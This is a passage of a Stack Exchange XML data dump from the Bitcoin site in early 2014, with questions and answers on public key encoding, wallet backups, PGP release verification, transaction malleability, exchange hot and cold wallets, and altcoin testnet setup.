IITRv4NdcaIgXP7DDNOkOrShBiJkBFoBqjXJXozKNClHnwSmNK3+QbT7ypKTkcc0F5UPsUCef5+gqhTb8sBZLuQ=&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Further attempts:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;When I convert public value &quot;020ba3ebc2f55152df5653bb7aba6548f0615d67b072379bdd19e72bc63c052c50&quot; as hex to bytes &lt;a href=&quot;https://stackoverflow.com/a/9995303&quot;&gt;using this method&lt;/a&gt; on SO, I get the column below on the left.  This is incorrect.  However when I &lt;a href=&quot;https://code.google.com/p/bitcoinj/source/browse/core/src/main/java/com/google/bitcoin/core/ECKey.java#253&quot; rel=&quot;nofollow noreferrer&quot;&gt;extract the public key from the private key&lt;/a&gt;, I get a similar but different result on the right.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static byte[] publicKeyFromPrivate(BigInteger privKey, bool compressed)&#xA;{ &#xA;    X9ECParameters ecParams = Org.BouncyCastle.Asn1.Sec.SecNamedCurves.GetByName(&quot;secp256k1&quot;);&#xA;    ECPoint point1 = ecParams.G.Multiply(privKey);&#xA;    return point1.GetEncoded(compressed);&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UJbvXl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="-1" LastEditDate="2017-05-23T12:34:59.703" LastActivityDate="2014-02-11T17:05:19.693" Title="What encoding is &quot;pubkey&quot; from the JSONRPC validateaddress command?" Tags="|address|development|json-rpc|c#|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21980" PostTypeId="2" ParentId="21978" CreationDate="2014-02-10T20:07:37.537" Score="1" Body="&lt;p&gt;The &lt;code&gt;mybitcoin.com&lt;/code&gt; domain existed no earlier than 2010-04-25, according to the domain name registration record (whois).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;https://web.archive.org/web/20110315000000%2a/http://www.mybitcoin.com&quot; rel=&quot;nofollow&quot;&gt;the &lt;code&gt;mybitcoin.com&lt;/code&gt; history at archive.org&lt;/a&gt;, the domain first appears to have useful content sometime in early February 2011.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case the above archive.org url doesn't work (seems to have a problem for me), copy and paste it from here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://web.archive.org/web/20110315000000*/http://www.mybitcoin.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11253" LastEditorUserId="11253" LastEditDate="2014-02-10T20:18:00.570" LastActivityDate="2014-02-10T20:18:00.570" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21981" PostTypeId="1" AcceptedAnswerId="21990" CreationDate="2014-02-10T20:29:29.193" Score="1" ViewCount="1941" Body="&lt;p&gt;I installed the langhans Dogecoin Wallet on my android device and backed up my private keys.&#xA;&lt;strong&gt;Is it sufficient to backup the wallet to avert loss in case of loss of or damage to the phone?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="13333" LastEditorUserId="5406" LastEditDate="2014-02-11T10:20:25.183" LastActivityDate="2014-02-11T10:20:25.183" Title="Is it sufficient to backup the private keys of my android Dogecoin Wallet?" Tags="|backup|dogecoin|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21983" PostTypeId="2" ParentId="565" CreationDate="2014-02-10T20:39:24.997" Score="0" Body="&lt;p&gt;Here is an easy walk through on how to authenticate bitcoin-qt on GNU/Linux systems (Like Trisquel, Fedora, Ubuntu, Debian, etc):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Open a terminal&lt;/li&gt;&#xA;&lt;li&gt;Download the core developers PGP key (&lt;a href=&quot;https://bitcoin.org/en/development&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin.org/en/development&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;(Gavin Andresen)&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Import the core developers PGP key with GPG:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;gpg --import gavinandresen.asc&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;From the &lt;a href=&quot;https://bitcoin.org/en/download&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin.org/en/download&lt;/a&gt; page click on the &quot;Linux (tgz)&quot; file to download.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;From the bitcoin download page click on the &quot;Verify release signatures&quot; link to download the signature.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Authenticate the file release was compiled by the core developer:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;gpg --verify SHA256SUMS.asc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most important line to make sure you see is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;gpg: Good signature from &quot;Gavin Andresen (CODE SIGNING KEY) &quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A 2nd line you will see is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;gpg: WARNING: This key is not certified with a trusted signature!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This line means that you don't know if you can trust the signature that you imported. Short of meeting the core developer Gavin Andresen in person or at least getting his public key from somebody you trust who has met him you won't ever be able to truly trust the download. However you can at least be confident that all future releases are at least being compiled by the same person. If you don't see &quot;Good signature&quot; you know you have a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While you are at it you may want to import the keys of other core developers just in case. It may be at some point another core developer signs. You'll have more confidence its from a trusted party than if you have to import the key at the time of the download. &lt;/p&gt;&#xA;" OwnerUserId="13334" LastActivityDate="2014-02-10T20:39:24.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21984" PostTypeId="2" ParentId="21970" CreationDate="2014-02-10T20:56:08.580" Score="1" Body="&lt;p&gt;Invalid transactions are not kept as part of the blockchain; they are, after all, invalid. Your best bet might be to listen to the chatter on the network (you'd require a custom-written client for this, I would imagine).&lt;/p&gt;&#xA;" OwnerUserId="12006" LastEditorUserId="12006" LastEditDate="2014-02-10T21:04:20.763" LastActivityDate="2014-02-10T21:04:20.763" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21987" PostTypeId="1" CreationDate="2014-02-10T22:09:46.413" Score="0" ViewCount="21" Body="&lt;p&gt;Should I make a &lt;code&gt;Dogecoin&lt;/code&gt; wallet addresses encryption?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If yes, what are the pros and cons and how it is made on linux - &lt;code&gt;Ubuntu 13.10&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="13240" LastActivityDate="2014-02-10T22:09:46.413" Title="How to set Dogecoin Wallet Encryption?" Tags="|linux|ubuntu|encryption|dogecoin|" AnswerCount="0" CommentCount="3" ClosedDate="2014-02-11T11:17:48.667" ContentLicense="CC BY-SA 3.0" />
  <row Id="21988" PostTypeId="2" ParentId="21981" CreationDate="2014-02-10T22:20:50.973" Score="0" Body="&lt;p&gt;If you already possessed some Dogecoins before the backup, restore it on another device and verify the amount displayed is the same. Else, get some coins, backup again and try restoring it elsewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What exactly have you read about max. amount of addresses? Theoretically you can have as many addresses as you wish, though in practice the performance of the wallet will degrade the more addresses you have - the exchange Cryptsy was bitten recently by this and they had to create another wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The point of having multiple addresses, in Dogecoin as in every other crypto-coin, is to be able to more easily track who payed you: you can have one address to receive payments for your services, another for the goods you sell, yet other one for tips you may collect (from Reddit, or a blog or whatever), the coins you mine, the ones you buy, etc. Most vendors actually generate a new address for each customer to be able to easily tell each payment's origin appart, some even use a new one for each transaction.&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2014-02-10T22:20:50.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21989" PostTypeId="1" CreationDate="2014-02-10T22:21:07.470" Score="1" ViewCount="713" Body="&lt;p&gt;I am looking for a list with &lt;code&gt;Dogecoin&lt;/code&gt; wallet commands that I can run into linux terminal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The interface seems useful, my pretty basic. For example, how can I check which is my wallet version?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question is referring only &lt;code&gt;Dogecoin&lt;/code&gt;  console commands if existing.&lt;/p&gt;&#xA;" OwnerUserId="13240" LastEditorUserId="13240" LastEditDate="2014-02-11T19:31:11.637" LastActivityDate="2014-02-11T19:31:11.637" Title="Dogecoin wallet console use full commands?" Tags="|wallet|linux|ubuntu|dogecoin|" AnswerCount="0" CommentCount="2" ClosedDate="2014-02-11T11:18:27.747" ContentLicense="CC BY-SA 3.0" />
  <row Id="21990" PostTypeId="2" ParentId="21981" CreationDate="2014-02-10T22:32:53.007" Score="2" Body="&lt;p&gt;The private keys are the critical thing and are in the wallet backup.  They're what is needed to transfer coins. If they become public (i.e. stolen), whoever has them can transfer your coins to themselves. If you lose/forget your private keys, you can't make transfers, the coins are worthless to you, effectively lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can create multiple addresses for bookkeeping. For example you can create an address for client X and an address for client Y, your wallet will show how much each address has received.  Also, creating a new address for every transaction can somewhat anonymize the transactions.&lt;/p&gt;&#xA;" OwnerUserId="11495" LastActivityDate="2014-02-10T22:32:53.007" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21992" PostTypeId="2" ParentId="21973" CreationDate="2014-02-11T00:06:07.927" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://bitcoinarmory.com/about/armory-and-bitcoin-qt/&quot; rel=&quot;nofollow&quot;&gt;From the Armory web site, regarding Bitcoin-QT and/or Bitcoind:&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Regardless of which one you use, it will download the entire blockchain (12-20 GB at the time of this writing).  The latest version of Armory will effectively double that storage requirement ...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="11121" LastEditorUserId="267" LastEditDate="2014-03-08T22:51:35.040" LastActivityDate="2014-03-08T22:51:35.040" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21993" PostTypeId="2" ParentId="21500" CreationDate="2014-02-11T00:34:29.357" Score="4" Body="&lt;p&gt;If using the &lt;code&gt;walletnotify&lt;/code&gt; option in &lt;code&gt;bitcoin.conf&lt;/code&gt;, you can get a notification any time a transaction occurs on the network that matches a bitcoin address in the wallet. To use this, of course, you'll have to keep Bitcoin-QT or &lt;code&gt;bitcoind&lt;/code&gt; running at all times.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Running_Bitcoin&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once you have the transaction id, you'll have to look up the transaction, either at an online service like blockchain.io or use a &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_Calls_list&quot; rel=&quot;nofollow noreferrer&quot;&gt;bitcoind json-rpc&lt;/a&gt; command to learn more about the transaction and what action you would like to take.&lt;/p&gt;&#xA;" OwnerUserId="11121" LastEditorUserId="112127" LastEditDate="2022-08-01T17:29:20.790" LastActivityDate="2022-08-01T17:29:20.790" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21994" PostTypeId="1" AcceptedAnswerId="21995" CreationDate="2014-02-11T01:20:45.143" Score="25" ViewCount="3970" Body="&lt;p&gt;The Bitcoin exchange MtGox has stated in &lt;a href=&quot;https://www.mtgox.com/press_release_20140210.html&quot; rel=&quot;noreferrer&quot;&gt;this press release&lt;/a&gt; that &quot;transaction malleability&quot; caused them to stop sending bitcoins. A &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/21959/is-this-transaction-malleability-really-an-issue&quot;&gt;recent question&lt;/a&gt; asked if it really is an issue. But what is transaction malleability in the first place?&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2018-01-28T10:25:05.063" Title="What is Transaction Malleability?" Tags="|transactions|protocol|transaction-id|transaction-malleability|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21995" PostTypeId="2" ParentId="21994" CreationDate="2014-02-11T01:20:45.143" Score="22" Body="&lt;p&gt;Bitcoin transactions have a transaction id (txid) formed as a hash over the data involved in the transaction. That suggests that it is a unique identifier for a transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the tx-id of a transaction is only unique once the exact data in the transaction has been finalized by being incorporated into the blockchain (and confirmed). Until then, there are hacks that allow altering the underlying data and hash. This is not a security issue because it is not possible to alter how many bitcoins are transferred from what input to what output. But details such as what format the cryptogaphic signature confirming that the input authorizes the transaction takes, or the exact signature script used, can be changed: They are malleable, making the hash or transaction id malleable as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should not be a big issue at all. But it is if you built your Bitcoin handling on the assumption that transaction ids are not malleable, as MtGox may have. You also need to be careful about spending unconfirmed transactions, because this only works if nobody changes the intermediate transaction ids. None of this is an issue in the standard Bitcoin client, but if you roll your own, especially if you wish to use only a single Bitcoin address to handle many individual transactions, rapid-firing transactions directly building upon the unconfirmed previous one is an easy mistake to make. If people altered transaction ids from MtGox withdrawals, and MtGox adopted such a rapid-fire approach, this may explain why there have been many complaints of never arriving withdrawals: Altering one transaction id in the chain of unconfirmed transactions invalidates all successor transactions, until the originator resynchronizes with the blockchain rather than its own idea of which transaction ids it has sent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: A much more elaborate explanation can be found in &lt;a href=&quot;http://qz.com/175565/why-nobody-can-withdraw-bitcoins-from-one-of-the-currencys-largest-exchanges/&quot;&gt;this Quartz news article&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastEditorDisplayName="user6049" LastEditDate="2014-02-15T17:55:43.490" LastActivityDate="2014-02-15T17:55:43.490" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21998" PostTypeId="1" AcceptedAnswerId="22001" CreationDate="2014-02-11T01:50:59.667" Score="2" ViewCount="651" Body="&lt;p&gt;How would you store a bitcoin wallet with the security of the wallet being a priority for a small bitcoin exchange? Offline wallets are the safest though how would a client be able to withdraw their coins if the wallet is offline?&lt;/p&gt;&#xA;" OwnerUserId="10060" LastActivityDate="2014-02-11T04:01:32.433" Title="How would you store a bitcoin wallet for a small bitcoin exchange?" Tags="|exchanges|security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22000" PostTypeId="2" ParentId="131" CreationDate="2014-02-11T03:46:23.057" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://www.merkletree.io/&quot; rel=&quot;nofollow&quot;&gt;http://www.merkletree.io/&lt;/a&gt; is a good reference. Has a clickable color coded map with links and legal informations. Pros and Cons. So far I like it.&lt;/p&gt;&#xA;" OwnerUserId="7278" LastEditorUserId="7278" LastEditDate="2015-12-08T23:11:35.767" LastActivityDate="2015-12-08T23:11:35.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22001" PostTypeId="2" ParentId="21998" CreationDate="2014-02-11T04:01:32.433" Score="2" Body="&lt;p&gt;The safe way for an exchange to function is the hot-cold wallet system. A hot wallet, which the server has access to and where all deposits and withdraws get handled from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Function of the hot wallet&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hot wallet is what your exchange will you to receive and send bitcoins with. If you are sending bitcoins to a user for a withdraw, it comes from the hot wallet on server. If you are receiving, make sure the address in in the hot wallet. A good hot wallet only keeps a small portion of bitcoins available. An amount that allows your service to run for a week or even a day without running out. Say your hot wallet was 5%-10% of your total funds, you'd daily or weekly add bitcoins or take bitcoins. If there are no bitcoins on the hot wallet, your service should come to a grinding halt. &lt;strong&gt;You cannot automate the filling of the hot wallet from the cold wallet, this is dangerous and is exploitable.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The benefit of this smaller balance on the server is that you cannot get robbed of all your funds suddenly&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The cold wallet&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cold wallet should not be in any way connected to your exchange. It'd be best if only you had access to it. 90% of your funds should be kept here. The idea is that the attacker cannot access 90% of your funds electronically or automatically. You should manually be moving coins from the cold wallet to the hot wallet by yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Do not take my advice here as full advice, you should look up proper wallet management, it is a broad topic. See the Bitcoin wiki article on &lt;a href=&quot;https://en.bitcoin.it/wiki/Securing_your_wallet&quot; rel=&quot;nofollow&quot;&gt;Securing your wallet&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-02-11T04:01:32.433" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22003" PostTypeId="2" ParentId="21979" CreationDate="2014-02-11T05:02:54.797" Score="2" Body="&lt;p&gt;The public key is in the format returned by OpenSSL and is a straight hex-encoding of the bytes.  If the first byte is 0x04, then it is a 65-byte uncompressed key (32-byte X and 32-byte Y).  If the first byte is 0x02 or 0x03, it is a 33-byte compressed key (32-byte X and one bit for Y sign).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The recID is encoded as part of the signed message.  Check the verifyMessage() method in the ECKey class to see how it is extracted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The column on the right is correct and it matches what you got from validateaddress.&lt;/p&gt;&#xA;" OwnerUserId="9301" LastActivityDate="2014-02-11T05:02:54.797" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22004" PostTypeId="2" ParentId="21959" CreationDate="2014-02-11T05:20:18.600" Score="10" Body="&lt;p&gt;What malleability means is that you can't store the transaction ID that &lt;code&gt;bitcoind&lt;/code&gt; returns from its &lt;code&gt;sendtoaddress&lt;/code&gt; API call and expect that number to mean anything at all later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, if you want to keep track of a high volume of outgoing transactions, you have to wait for the transactions to be fully confirmed and immune to blockchain reorganizations, and then guess at which blockchain transactions correspond to which withdrawal or automatic payment events by matching the amount and destination address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some famous guy recommended using a combination of amount, address, and timestamp, but apparently &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/5233/which-is-the-reliability-of-a-transaction-timestamp&quot;&gt;transaction timestamps are not reliable either&lt;/a&gt;, so there really isn't a good, reliable way for Bitcoin apps to keep track of which transactions they sent out and why.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bitcoind&lt;/code&gt; itself tracks outputs, not transaction IDs, but it doesn't expose this information to API users. So if you want to send transactions and track them by the outputs, which is considered to be reliable, you need to write your own Bitcoin client, which is a lot like writing your own SQL server, except it's not as simple.&lt;/p&gt;&#xA;" OwnerUserId="13348" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2014-02-11T05:20:18.600" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22005" PostTypeId="1" CreationDate="2014-02-11T06:03:33.813" Score="-1" ViewCount="78" Body="&lt;p&gt;I want to hegde Bitcoin with USD because of the high volatility of Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a service that offers hedges for Bitcoin and has an API that I can use with PHP?&lt;/p&gt;&#xA;" OwnerUserId="13349" LastEditorUserId="5406" LastEditDate="2014-02-11T11:45:34.843" LastActivityDate="2014-02-11T11:45:34.843" Title="Is there a service that allows to hedge for bitcoin and has an API?" Tags="|api|trading|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22006" PostTypeId="1" CreationDate="2014-02-11T06:29:56.930" Score="1" ViewCount="1073" Body="&lt;p&gt;To avoid GPU/ASIC mining, difficult hashing functions, such as scrypt and scrypt-jane, are proposed as PoW algorithm (However, GPU and ASIC are also suitable for basic scrypt operation). Is it good for the cryptocurrency? Because a difficult algorithm also means CPU needs to spend much more time to find the solution. Although the &quot;difficulty&quot; of the cryptocurrency is dynamic and adjustable, maybe one day a very complicated algorithm scrypt-xXx is proposed, it might be hard to find the nonce even when the difficulty is very low. Will it create some problems to the cryptocurrency?&lt;/p&gt;&#xA;" OwnerUserId="9307" LastEditorUserId="5406" LastEditDate="2016-04-25T20:34:36.143" LastActivityDate="2016-04-25T20:34:36.143" Title="Is difficult hashing algorithm necessary?" Tags="|scrypt|algorithms|asic-resistance|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22007" PostTypeId="2" ParentId="22006" CreationDate="2014-02-11T07:20:56.930" Score="0" Body="&lt;p&gt;The necessity for having a difficult hashing function like the current one is two-fold:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a) it serves as proof-of-work, and make necessary some computing powe to find it. The harder you work, the easiest you get the reward, no short-cuts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b) it helps controlling unnecessary proliferation of blocks. Automatic difficulty setting keeps the blocks coming out one every ten minutes, no matter how much aggregate computing power is invested in the network.&lt;/p&gt;&#xA;" OwnerUserId="13116" LastActivityDate="2014-02-11T07:20:56.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22008" PostTypeId="2" ParentId="22006" CreationDate="2014-02-11T07:26:21.543" Score="2" Body="&lt;p&gt;scrypt and scrypt-jane were chosen not because thay are &quot;more difficult&quot; then SHA-256, they are just different, and less suitable for GPU/ASIC implementation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whether using such algorithms is good or not is hard to tell. I'd say, since one can mine scrypt coins with commodity hardware now, while mining SHA256 coins even with decent GPU rig is futile, scrypt helps coin be more decentralized, which is a good thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One can of course create very difficult hashing algorithm (I'd say 10^80 rounds of bcrypt will be enough to ensure no one calculates a single hash ever). But cryptocurrency with such algorithm is unusable, and so would be forfeited. &lt;/p&gt;&#xA;" OwnerUserId="2343" LastActivityDate="2014-02-11T07:26:21.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22009" PostTypeId="2" ParentId="22005" CreationDate="2014-02-11T10:28:01.643" Score="0" Body="&lt;p&gt;You should go to &lt;a href=&quot;http://nysohedge.com/&quot; rel=&quot;nofollow&quot;&gt;New York Hedge Fund&lt;/a&gt;, they provide bitcoin hedge. I am not sure if they have an API, but I suppose they have. See the news on &lt;a href=&quot;http://www.coindesk.com/bitcoin-as-safe-as-wire-transfers-says-ny-hedge-fund/&quot; rel=&quot;nofollow&quot;&gt;Coindesk&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="11997" LastEditorUserId="11997" LastEditDate="2014-02-11T10:33:38.307" LastActivityDate="2014-02-11T10:33:38.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22010" PostTypeId="2" ParentId="20024" CreationDate="2014-02-11T11:47:25.150" Score="0" Body="&lt;p&gt;I had the same problem with the Nanofury. This is what works for me on &lt;code&gt;Windows 7 Pro x64&lt;/code&gt; using the Nanofury: I installed &lt;code&gt;CP210xVCP&lt;/code&gt;, then I used the following command with bfgminer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bfgminer-3.10.0-win64 -o yourpoolchoice -u yourusername_workername -p 123 -S all --set-device NFY0:osc6_bits=53&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a shortcut for bfgminer in the same folder and put the above command into the shortcut target. Now, I can start it up by double clicking the shortcut, which is working fine with my nanofury.&lt;/p&gt;&#xA;" OwnerUserId="13356" LastEditorUserId="5406" LastEditDate="2014-02-11T14:01:07.343" LastActivityDate="2014-02-11T14:01:07.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22011" PostTypeId="1" AcceptedAnswerId="22206" CreationDate="2014-02-11T12:47:39.383" Score="3" ViewCount="3053" Body="&lt;p&gt;I was trying to clone an altcoin for educational purposes. I am total newby and I've got some plans to implement different PoW and continue working on cryto-currencies. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I followed the &lt;a href=&quot;http://devtome.com/doku.php?id=scrypt_altcoin_cloning_guide&amp;amp;rev=1391981820&quot; rel=&quot;nofollow&quot;&gt;cloning guide by Shakezula&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I followed all steps in the guide, however I am losing the main point: thus I am unable to connect machines to start mining. Can anyone please explain what I am doing incorrectly? I am struggling with this and am really looking forward to understand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I do not understand is the point on port forwarding from Shakezula's guide:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Side note: because I use a VPS for this, I don't really need to worry&#xA;  about port forwarding at that end. On the home PC, you will want to&#xA;  forward the port you chose for P2Pport in the cut and paste section to&#xA;  the PC you're using. For this example, that is port 55884.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What does it mean?  Does it mean that I should add this port in .conf file of the machines?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My case:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I am trying to connect compiled coins on two VM machines: VM1 with IP &lt;code&gt;192.168.122.121&lt;/code&gt; &amp;amp; VM2 with IP &lt;code&gt;192.168.122.158&lt;/code&gt; (they are able to ping each other)&lt;/li&gt;&#xA;&lt;li&gt;In my conf files I only put rpc username/password&lt;/li&gt;&#xA;&lt;li&gt;On VM1 I do &lt;code&gt;./barcoin -testnet -connect=192.168.122.158 &amp;amp;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;On VM2 I do &lt;code&gt;./barcoin -testnet -connect=192.168.122.121 &amp;amp;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In .barcoin/testnet3/debug.log I get the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ThreadSocketHandler started connect() failed after select(): Connection refused&#xA;trying connection 192.168.122.121 lastseen=0.0hrs connect() failed after select(): Connection refused&#xA;Flushed 0 addresses to peers.dat 42ms&#xA;trying connection 192.168.122.121 lastseen=0.0hrs connect() failed after select(): Connection refused&#xA;trying connection 192.168.122.121 lastseen=0.0hrs connect() failed after select(): Connection refused&#xA;trying connection 192.168.122.121 lastseen=0.0hrs connect() failed after select(): Connection refused&#xA;trying connection 192.168.122.121 lastseen=0.0hrs connect() failed after select(): Connection refused}&#xA;trying connection 192.168.122.121 lastseen=0.0hrs connect() failed after select(): Connection refused&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I added this port 55884 to conf file of one of the machines and getting the same error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I added command &lt;code&gt;connect=192.168.122.121:55884&lt;/code&gt; to one of the conf files and started getting this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;trying connection 192.168.122.121 lastseen=0.0hrs connect() failed after select(): Connection refused&#xA;trying connection 192.168.122.121:55884 lastseen=0.0hrs connect() failed after select(): Connection refused&#xA;trying connection 192.168.122.121 lastseen=0.0hrs connect() failed after select(): Connection refused&#xA;trying connection 192.168.122.121:55884 lastseen=0.0hrs connect() failed after select(): Connection refused&#xA;trying connection 192.168.122.121 lastseen=0.0hrs connect() failed after select(): Connection refused&#xA;trying connection 192.168.122.121:55884 lastseen=0.0hrs connect() failed after select(): Connection refused&#xA;trying connection 192.168.122.121 lastseen=0.0hrs connect() failed after select(): Connection refused&#xA;trying connection 192.168.122.121:55884 lastseen=0.0hrs connect() failed after select(): Connection refused&#xA;trying connection 192.168.122.121 lastseen=0.0hrs connect() failed after select(): Connection refused&#xA;trying connection 192.168.122.121:55884 lastseen=0.0hrs connect() failed after select(): Connection refused&#xA;trying connection 192.168.122.121 lastseen=0.0hrs connect() failed after select(): Connection refused&#xA;trying connection 192.168.122.121:55884 lastseen=0.0hrs connect() failed after select(): Connection refused&#xA;trying connection 192.168.122.121 lastseen=0.0hrs connect() failed after select(): Connection refused&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please help me with this one.&#xA;Thank you very much!&lt;/p&gt;&#xA;" OwnerUserId="13358" LastEditorUserId="4748" LastEditDate="2014-02-11T22:39:41.140" LastActivityDate="2014-05-20T19:16:56.990" Title="How to establish connection for mining testnet blocks on newly created altcoin" Tags="|network|testnet|altcoin|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
